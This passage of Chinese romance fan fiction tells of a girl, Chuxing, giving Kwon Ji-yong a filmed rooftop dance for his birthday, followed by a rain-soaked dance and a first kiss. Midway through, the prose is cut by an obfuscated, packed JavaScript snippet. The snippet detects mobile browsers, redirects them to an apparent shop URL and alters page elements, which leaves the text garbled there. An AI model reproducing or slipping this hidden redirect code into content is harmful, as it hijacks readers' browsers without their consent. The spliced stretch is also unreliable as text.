初星看了一眼,摇了摇头:“他好像已经有一顶类似的了,而且颜色比这个更特别些……唉,珍雅啊,我真的不知道买什么好了。” 她挽住好友的胳膊,脸上写满了甜蜜的烦恼:“衣服、配饰、潮玩……这些东西他当然喜欢,也总在关注,可能不能送到他心坎上呢?他眼光那么独特,又那么挑剔。” “最重要的是,”初星的声音低了一些,带着点难得的忐忑和郑重,“这是我们在一起之后,给他过的第一个生日啊。总觉得……应该送点特别有意义的,能让他记住的,而不只是一件好看的东西。” 珍雅看着她这副样子,忍不住笑了:“哎一股,看把我们初星给难的。平时吓唬他的那股机灵劲儿哪去啦?”她调侃了一句,随后才正经建议道:“想想他最近有没有特别痴迷什么?或者抱怨缺了什么?比如,他是不是总说某个牌子的练习鞋特别舒服但穿坏了?或者念叨了很久某位欧美歌星的进口版CD?再不然,他写歌的时候有没有说过想要个更好的录音笔捕捉灵感?” 初星听着,目光漫无目的地扫过橱窗里琳琅满目的商品,眉头轻蹙着。霎那间,一些画面撞入脑海…… “啊……” 她轻轻吸了一口气,脸颊有些发烫。 “怎么了?想到什么了?脸都红了!”珍雅好奇地凑近。 初星的心跳有些快,她下意识地抿了抿唇,却无法压下嘴角那抹既害羞又了然的笑容。 她抬起头,眼神闪烁,拉住了珍雅的手:“珍雅,不用逛了。我知道……我想到要给他什么了。” “是什么?快说啊!急死我了!”珍雅被她这突如其来的脸红和醒悟弄得心急如焚。 初星凑近好友耳边,用极低的声音飞快地说了几个字。珍雅的眼睛瞬间瞪大,捂住嘴才没叫出声来:“哇!至龙欧巴他……他真的这么说了?天啊!那你……” 初星的脸更红了,赶紧拉住激动的好友,点了点头,“嗯。所以……这些都不用了。”她看了一眼周围的店铺,“这件‘礼物’……需要我好好准备才行。” 她拉着还在震惊中回味的好友,转身离开了琳琅满目的商店街,步伐带着点匆忙和羞涩,却又目标明确。 …… 生日这天,对权至龙而言,和往常并没有什么不同。清晨的阳光透过宿舍窗帘的缝隙,刺眼地照在他脸上,将他从并不算深的睡眠中唤醒。 没有想象中的特别,只有更加密集和高强度的练习日程。公司似乎有意要用繁重的训练填满这个日子,仿佛在提醒他,通往梦想的道路上没有松懈可言。练习室里,汗水很快浸湿了训练服,肌肉的酸痛感熟悉而沉重。永裴和胜铉哥在休息间隙凑过来,笑嘻嘻地拍了拍他的肩膀,塞给他一瓶冰镇的运动饮料,算是简单的生日祝福,老师也难得地没有过分苛责。 然而,至龙的心却始终悬着,像被一根细线牵着,无法完全沉浸在练习中。他的目光一次又一次地飘向放在角落背包里的手机。它在练习的间隙安静地躺着,屏幕偶尔会因为家人或几个熟识朋友的祝福短信而亮起,发出短暂的震动。每一次震动,都让他迫不及待地冲过去查看,但每一次,都不是那个他最期待的名字。 他一一回复道谢,但心里的空落感却越来越明显。初星……她是不是忘了?还是因为昨天自己练习到太晚,回她信息时语气有些疲惫,让她生气了?又或者,她根本就没把今天当成一个特别的日子?各种胡思乱想像杂草一样在他脑海里疯长,让他的动作偶尔会慢上半拍,眼神也有些飘忽,甚至被老师点名提醒了两次“专注点,至龙!”。永裴和胜铉交换了一个了然的眼神,带着点同情和调侃,却也没多说什么。 时间在焦灼的等待中缓慢流逝,从上午到下午,阳光从炽烈变得温和。至龙的心情也从最初的隐隐期待,逐渐滑向失望和一丝不易察觉的委屈。他开始给初星找理由:她可能也在忙吧?高三的假期作业也不少……或者,她只是想等到晚上再给我惊喜?对,一定是这样。他强迫自己集中精神,但那份期待落空的怅然若失,像背景音一样持续不断地低鸣着。 直到下午六点多,练习休息的时刻,至龙几乎已经认命,准备接受这个“平淡无奇”的生日时,他放在音响旁边的手机屏幕,终于亮起了那个他心心念念的名字——my babe?? 他瞬间扑过去,点开信息: 「至龙,生日快乐。晚上八点半,到我们上次发现的旧楼天台来。记得一个人来!」 寥寥数语,像一道强光,驱散了他积压了一整天的阴霾和胡思乱想!原来她没忘!她记得!刚才的失落和委屈立刻被抛到九霄云外。他脸上控制不住地绽放出灿烂的笑容,连回复信息的手指都带着雀跃的颤抖: 「好!我一定准时到!(^▽^)」后面跟了一连串的爱心、星星和欢呼的表情符号。 他蹦跳着回到练习的队伍中,接下来的动作充满了爆发力和精准度,仿佛有使不完的劲儿。永裴凑过来,用肩膀撞了他一下坏笑:“哟,收到‘特殊指令’了?看你这魂不守舍一整天,现在跟打了鸡血似的。”胜铉也在一旁露出调侃的笑意。至龙不好意思地挠挠头,但嘴角的笑意却怎么也藏不住。 好不容易熬到练习结束,他第一个冲回宿舍,冲了个战斗澡。换好衣服,他对着镜子照了又照,拨弄着头发,确保每一根发丝都待在最佳位置,心里充满了各种猜测和甜蜜的期待…… 八点刚过,至龙就迫不及待地出发了。夏夜的晚风温热,拂过他因为紧张和期待而有些发烫的脸颊。沿着那条熟悉又僻静的小巷,推开那栋不起眼的旧楼单元门,沿着昏暗的、堆着些许杂物的楼梯一步步向上。越接近顶层天台,他的心跳得越快,“咚咚”声在寂静的楼梯间里异常清晰。 终于,他站在了天台门前。深吸一口气,平复了一下过于急促的呼吸,然后,用力推开了那扇门。 吱呀—— 铁门发出刺耳却熟悉的摩擦声,缓缓开启。 门打开的瞬间,视野豁然开朗。首尔夜晚的流光溢彩如同一幅巨大的、铺天盖地的画卷,毫无保留地展现在他眼前。汉江对岸的霓虹、蜿蜒的车河、高耸建筑的轮廓灯……交织成一片璀璨的星海。晚风变得强劲而凉爽,迎面扑来,吹散了他一路走来的微热和黏腻感。 然而,比这熟悉而壮丽的夜景更攫取他全部目光的,是那个伫立在天台中央的身影,以及她身前不远处,稳稳架在三脚架上的小型摄像机。 初星背对着他,一身素白,仿佛是从月宫中偷溜下来的仙子。那件样式简约的白色半透明薄纱罩衫,如同披肩般完全敞开着,没有扣子,仅凭她纤细的肩膀和手臂微微向内拢住的姿态维持着不至滑落。里面清晰地勾勒出里面那件贴身的纯白色细吊带背心和她优美而单薄的背部线条。下身那条轻盈飘逸揉杂着淡粉与白色渐变色调的及踝大摆纱裙,被风鼓动得如同拥有了生命,裙摆层层叠叠地翻滚、飞扬,在夜色中划出巨大而优美的弧线,几乎要将她轻盈的身躯托起。她正微微俯身,专注地调整着相机的高度和角度,整个人在风中显得既脆弱易碎,又仙气盎然。 听到身后铁门被推开的吱呀声,她倏地转过身来。 看到至龙如期而至,站在门口,她脸上闪过一丝紧张和羞涩,白皙的脸颊在夜色和城市背景光的映衬下泛起淡淡的红晕,她没有像往常一样雀跃地跑过来,只是下意识地用一只手微微拢了一下被风吹得有些凌乱的胸前纱衣衣襟,站在原地,那双清澈明亮的眼睛,带着某种郑重的期待,望着他。 “至龙,你来啦。”她的声音比平时更轻软一些,融在呼啸的风声里,却清晰地传到他耳中。她指了指那台亮着红灯的相机,小声解释,“等一下哦,我在录……” 至龙愣在了原地,呼吸微微一滞,仿佛被眼前的景象施了定身咒。随后立刻放轻了脚步,无声地、一步步走到相机拍摄范围之外的一侧,背靠着冰凉的墙壁站着,目光紧紧锁在她身上,眼中充满了难以置信的惊艳和一种近乎虔诚的专注。 初星对他露出了一个安抚又带着鼓励的笑容,然后,她转身,面向镜头,也面向这片为她作衬的、浩瀚的城市夜景,按下了放在旁边小音响上的播放键。 一首悠扬而富有独特韵味的纯音乐流淌出来,笛声清越空灵,琵琶琮琤婉转,旋律舒缓中带着东方的含蓄婉约和一丝淡淡的、诗意的怅惘。 音乐声中,初星翩然起舞。她的动作经过了精心设计和排练,每一个舒缓的伸展、优雅的旋转、柔韧的下腰,都完美地运用了风的力量和衣袂飘飘的特性。那敞开的纱衣和巨大的裙摆仿佛成了她身体的一部分,随着她的舞动,在空中画出巨大而流畅的弧线,时而如流云卷舒,时而如惊鸿展翅,时而又如白莲绽放。风缠绕着她的衣袖、裙摆和微微飞扬的发丝,音乐引导着她的情绪和肢体流淌。她的舞姿并不激烈,充满了行云流水般的韵律感和一种不食人间烟火的仙气。眼神时而凝望远方夜景,带着一丝超然物外的疏离;时而低眉浅笑,流露出少女的娇羞与期待;时而又将目光投向镜头——或者说,是投向镜头后、角落里的他,带着全然的信任和倾诉。 至龙屏住呼吸,完全痴了地看着,这极致的、只为他一人生辉的美。这个认知,让他的心脏被近乎酸楚的幸福填满。 一曲终了,最后一个空灵的音符消散在风里,初星的最后一个动作也缓缓定格,她几乎是第一时间转过身来,望向站在角落里的至龙。她的脸颊因为运动和激动而绯红,眼神里带着完成表演后的些许脱力,但更多的是一种急切的、渴望得到认可和反馈的期待。 至龙看着初星再也按捺不住胸腔里澎湃的情感,瞬间就冲破了那无形的“拍摄区”界限,大步流星地、几乎是带着点踉跄地走向她。 他一把将她拥入怀中。手臂小心地避开那件飘逸易皱的纱衣,只紧紧环住她纤细的、因为刚刚一番专注舞动而微微发热、甚至能感受到肌肉轻微颤动的腰身。 初星身上特有的荼蘼花香瞬间包裹了他,因为方才一番全神贯注的舞动而微微蒸腾,比平时浓烈了许多,混合着夏夜风的微凉、纱裙淡淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680929|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皂角清香和一点点属于运动的汗意,直直地、霸道地钻入他的鼻腔,深深地烙印在他的嗅觉记忆和脑海里。 “至龙,生日快乐。”她在他怀里轻声说。 至龙收紧了手臂,将她更深地按进自己怀里,低下头把脸埋进她颈侧散发着那股浓烈馨香的细腻肌肤间,声音因为激动和某种难以言喻的、近乎哽咽的悸动而变得低哑沉重: “……笨蛋。哪有人送生日礼物……是送一支舞的……”他的声音闷闷的,带着浓重的鼻音。 “……不喜欢吗?”初星在他怀里小声问,感受着他异常用力的、让她有些窒息的拥抱,心里却甜甜的。 “喜欢……”他立刻回答,抱得更紧,“这味道……还有这个……是我长这么大……收到过的……最好的生日礼物。” “你喜欢就好。”初星在至龙怀里满足地叹了口气,脸颊贴着他因为激动而快速起伏的温暖胸膛,听着他有力的心跳声,觉得一切都值得了。随后她轻轻抬起头,眼神里闪烁着新的期待和一丝俏皮的光:“至龙,我们好像……还从来没有一起跳过舞呢。” 至龙的心因为她这句话又被轻轻撞了一下,泛起层层柔软的涟漪。他看着怀里的人,眼中柔情满溢,几乎要溢出来:“现在想跳吗?就在这里。” “嗯!”初星用力点头,看向那依旧亮着红灯工作的相机,狡黠地笑了笑,像只偷到了灯油的小老鼠,“让它也记录下来,好不好?我们的第一支舞。” 至龙心底软成一片。还有什么能比这更好呢?他牵起她微微汗湿的手,向后退开一步,微微鞠躬,行了一个略显生涩的邀舞礼,目光灼灼地望着她:“那么,这位刚刚奉献了绝美舞蹈的、美丽的小姐,能有这个荣幸,与你在这星空下共舞一曲吗?” 初星嫣然一笑,将手放入他温暖干燥的掌心,“给你这个荣幸吧!” 至龙轻轻哼起一段舒缓而带着华尔兹节奏旋律的老歌。他一手与她十指紧密相扣,另一只手扶住她纱衣下微微汗湿的、线条优美的后背。 他们就在这空旷无人的天台,以璀璨的城市夜景为宏大幕布,在依旧静静运转的相机镜头前,缓缓起舞。初星的纱裙和纱衣随着舞步和旋转再次飘飞起来,与至龙的动作交织在一起,白色的裙摆拂过他的裤脚。没有观众的欢呼,没有华丽的伴奏,只有彼此近在咫尺的呼吸声、交织的眼神中浓得化不开的情意,以及逐渐同步的、怦怦作响的心跳声。 然而在这时,几滴冰凉的、硕大的液体毫无征兆地落在至龙的鼻尖和额头上,打断了他哼唱的旋律。他抬头望去,夜空不知何时聚拢了乌云。紧接着,更多的雨点开始稀疏而有力地砸落下来,打在干燥的天台地面上,发出“啪嗒啪嗒”的声响,很快就连成了细密的、凉意十足的雨丝。 雨点打湿了至龙的头发,顺着他的脸颊滑落。也打湿了初星飞扬的纱裙和发丝,晶莹的水珠缀在她的睫毛上,像是细碎的钻石。衣服渐渐被雨水浸湿,变得有些透明,贴合在身上,带来微凉的触感。 至龙和初星两人在最初的愣神后,相视一笑,无声的默契和浪漫在冰凉的雨丝中迅速流淌开来。至龙握紧了她的手,扶稳她的腰,非但没有停下,反而带着她,继续着他们的舞步,甚至故意旋转了一圈,让裙摆在水洼中划出更大的圆弧。初星忍不住笑出声来,笑声混合着淅淅沥沥的雨声,变得格外动人,敲打在至龙的心上。 至龙重新哼唱起那首旋律,在雨声中显得有些模糊,却又清晰而执着地在他们之间流淌。他紧紧地揽着她,她信任地依偎着他。 直到那即兴的旋律哼唱到悠长而温柔的尾音,至龙带着初星完成最后一个在雨中显得有些梦幻的旋转,然后将她稳稳地拉回怀中。两人都微微喘息着,浑身湿透,像两只落汤鸡,头发狼狈地黏在额角和脸颊,雨水顺着下巴滴落。 至龙深深地望进初星被雨水洗得越发纯净的眼睛,他的喉结滚动了一下,眼神深邃得像不见底的潭水,充满了灼热的渴望。但他只是克制地微低下头,额头抵上她同样冰凉湿润的额头,呼吸交织在带着雨水清香的空气里,等待着。或许是想给她最后的空间,或许是想让这个极致浪漫的瞬间在心间停留得更久一些。 初星看着他近在咫尺的、带着晶莹水珠的睫毛,看着他克制而深情的眼神,心脏像是被幸福和勇气充满了,鼓胀着,催促着。她没有任何犹豫,踮起脚尖,主动仰起脸,将自己微凉而柔软的、带着雨水清新气息的唇,坚定地印上了他温热的、同样带着雨水的嘴唇。 这个吻,来得突然却无比自然,带着雨水的清凉和她毫无保留的、炽热的真诚,生涩却无比坚定。 至龙的身体僵硬了一瞬,瞳孔微微放大,随即反应了过来。他闭上眼睛,所有的克制、所有的等待在这一刻土崩瓦解,被汹涌的情感彻底淹没。他环住她腰肢的手臂猛地收紧,将她彻底箍进自己湿透的、却异常温暖的怀里,用力地回应这个吻。 雨水顺着他们的发梢、脸颊流淌,渗入紧贴的唇瓣,带着微咸的味道,却比任何香槟都更让人沉醉。在这个废弃天台的雨中,在他们第一支舞的旋律余音里,权至龙收到了他人生中最珍贵的一份生日礼物。 而那台架在三脚架上的DV相机,顶端的红色指示灯依旧顽强地亮着,默默地记录着这一切……